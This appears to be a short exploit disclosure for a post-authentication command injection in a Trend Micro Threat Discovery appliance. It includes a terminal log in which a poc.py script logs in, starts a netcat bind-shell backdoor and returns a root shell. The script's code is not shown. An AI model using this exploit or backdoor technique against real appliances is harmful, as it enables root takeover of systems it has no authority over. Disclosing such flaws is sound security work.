Summary:
There exists a post authenticated command injection vulnerability that can be used to execute arbitrary code as root.
Notes:
- Since this is a busybox, getting a connectback seemed hard. So, for this particular PoC, all I did was
exec a bind shell using netcat.
- Auth is VERY weak, no privilege seperation, no username required, no password policy, no protection from bruteforce attempts...
Example:
```
saturn:trend_micro_threat_discovery_detected_potential_files_rce mr_me$ ./poc.py
(+) usage: ./poc.py <target> <pass>
(+) eg: ./poc.py 172.16.175.123 admin123
saturn:trend_micro_threat_discovery_detected_potential_files_rce mr_me$ ./poc.py 172.16.175.123 admin
(+) logged in...
(+) starting backdoor, this will take a few secs...
(+) calling backdoor!
id
uid=0(root) gid=0(root)
uname -a
Linux localhost 2.6.24.4 #1 SMP Wed Oct 13 14:38:44 CST 2010 i686 unknown
pwd
/opt/TrendMicro/MinorityReport/www/cgi-bin
exit
```
暂无评论